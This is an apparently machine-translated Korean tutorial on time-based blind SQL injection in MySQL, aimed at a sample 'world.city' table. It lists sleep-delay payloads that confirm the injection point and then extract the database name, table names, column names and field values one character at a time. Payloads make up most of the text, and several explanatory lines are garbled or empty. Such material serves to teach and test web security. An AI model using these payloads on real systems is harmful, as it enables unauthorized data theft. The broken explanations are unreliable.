시차 기반 SQL 블라인드

2582 단어 네트워크 보안
  • 설명
           : MySQL
       :world
     :city
     :ID Name CountryCode District Population
    
  • 시간 맹 주 시 관련 함수
    sleep(s)
    	SQL        s 
    mid(s,n,len)
    	     s   n         len      
    length(s)
    	      s     
    if(expr,v1,v2)
    	      expr   ,     v1;  ,     v2。
    substr(s,n,len)
    	     s   n         len      
    ascii(s)
    	             ASCII  
    limit
    	   SELECT           
    database()
    	        
    
  • 주입 점 전달 매개 변수 에 sleep (10) 를 추가 하여 페이지 복귀 가 지연 되 는 지 확인 합 니 다. 저 는 여기 서 id 를 주입 합 니 다. 정상 적 인 SQL 문 구 는 SELECT 입 니 다. * FROM city WHERE ` id ` =
  • 판단 주입 점
    (select * from(select sleep(12)union/ select 1)a)
    
  • 、 ,
  • 폭발 데이터베이스
          
    		(if((length(database())=4),sleep(5),0))
    		  :
    				        5,   sleep(5)
         
    		sleep(if((mid(database(),1,1)="a"),5,0))
    		  :
    				          a,   sleep(5)
    		sleep(if((ascii(substr(database(),1,1)))=97),5,0))
    		  :
    				          a,   sleep(5)
    
  • 폭발 표
        
    	(select sleep(if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,5,0)))
       
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='c'),5,0)))
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='i'),5,0)))
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)='t'),5,0)))
    	(select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)='y'),5,0)))
    
  • 폭발
       
    	(select sleep(if((select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1)=2,5,0)))
       
    	(select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),1,1)='I'),5,0)))
    	(select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),2,1)='D'),5,0)))
    
  • 폭발 필드
        
    	(select sleep(if((select length(ID) from world.city limit 0,1)=1,5,0)))
         
    	(select sleep(if((mid((select ID from world.city limit 0,1),1,1)='1'),5,0)))
    
  • 비고 limit 특별 설명 , , , 。 SQLMap

    좋은 웹페이지 즐겨찾기